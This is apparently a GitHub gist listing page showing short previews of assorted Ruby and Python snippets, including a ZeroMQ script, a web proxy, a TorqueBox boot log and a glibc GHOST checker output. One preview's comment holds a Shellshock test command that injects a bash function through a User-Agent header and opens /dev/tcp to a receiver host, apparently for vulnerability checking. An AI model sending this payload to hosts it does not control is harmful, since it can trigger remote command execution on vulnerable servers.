This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'ffi-rzmq' | |
require 'timeout' | |
ctx = ZMQ::Context.new | |
MAX_RETRIES = 5 | |
Thread.abort_on_exception = true |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
# dependencies: | |
# gem install sinatra | |
# gem install mechanize | |
# | |
# to run: | |
# from command line type: ruby substitutions.rb & | |
# and in your browser, go to: localhost:4567/http://some.random.site.com/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'open3' | |
require 'pp' | |
require 'eventr' | |
require 'stringio' | |
$eventr = Eventr::Coordinator.instance | |
$eventr.publishers(:stderr, :stdout) | |
$eventr.consumer(:stderr) { |msg| $stderr.puts "STDERR: #{msg}" } | |
$eventr.consumer(:stdout) { |msg| $stdout.puts "STDOUT: #{msg}" } | |
$eventr.start |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'readline' | |
require 'terminfo' | |
require 'abbrev' | |
require 'singleton' | |
$stty_save = %x{stty -g}.chomp | |
Signal.trap('WINCH', ->(*a) { Readline.set_screen_size(TermInfo.screen_size[0], TermInfo.screen_size[1]) }) | |
Signal.trap('INT', ->(*a) { system('stty', $stty_save); exit! }) | |
Signal.trap('QUIT', ->(*a) { system('stty', $stty_save); exit! }) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ torquebox run --clustered -b 0.0.0.0 | |
[WARNING] root-knob.yml has not been deployed. Starting TorqueBox anyway. | |
Booting AS7 from configuration /usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss/standalone/configuration/standalone-ha.xml | |
/usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss/bin/standalone.sh -Djruby.home=/usr/local --server-config=standalone-ha.xml -b 0.0.0.0 | |
JAVA_OPTS already set in environment; overriding default settings with values: -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true | |
========================================================================= | |
JBoss Bootstrap Environment | |
JBOSS_HOME: /usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
# dependencies: | |
# gem install sinatra | |
# gem install mechanize | |
# | |
# to run: | |
# from command line type: ruby substitutions.rb & | |
# and in your browser, go to: localhost:4567/http://some.random.site.com/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# sublime: x_syntax Packages/Ruby/Ruby.tmLanguage | |
# sublime: translate_tabs_to_spaces false; tab_size 2 | |
IRB.conf[:IGNORE_SIGINT] = true | |
IRB.conf[:USE_READLINE] = true | |
IRB.conf[:PROMPT_MODE] = :CLASSIC | |
def inject_path(path, where = :before) | |
require 'pathname' | |
path = Pathname.new(path).realpath.to_s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
=begin | |
This is equivalent to running the following from the command line: | |
curl -H 'User-Agent: () { :; }; exec 3<>/dev/tcp/www.receiver-host.com/80; echo -e "GET / HTTP/1.0\nHost: www.receiver-host.com\nUser-Agent: shellshock\nReferer: vulnerable\n\n" >&3; cat <&3' https://some.host.that.might.be.vulnerable.com -o/dev/null -s | |
To use this, do the following: | |
1. log into a webserver you control and have access to the access logs of, say: www.foo.com |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import psycopg2 as pg | |
from io import BytesIO | |
from collections import defaultdict | |
from contextlib import contextmanager | |
from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT, ISOLATION_LEVEL_READ_COMMITTED | |
READ_COMMIT = ISOLATION_LEVEL_READ_COMMITTED | |
AUTO_COMMIT = ISOLATION_LEVEL_AUTOCOMMIT |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
OS Version: | |
CentOS release 6.5 (Final) | |
GLIBC RPMS: | |
glibc-headers-2.12-1.149.el6_6.4.x86_64 | |
glibc-2.12-1.149.el6_6.4.x86_64 | |
glibc-devel-2.12-1.149.el6_6.4.x86_64 | |
glibc-common-2.12-1.149.el6_6.4.x86_64 | |
Ghost Checker: |
OlderNewer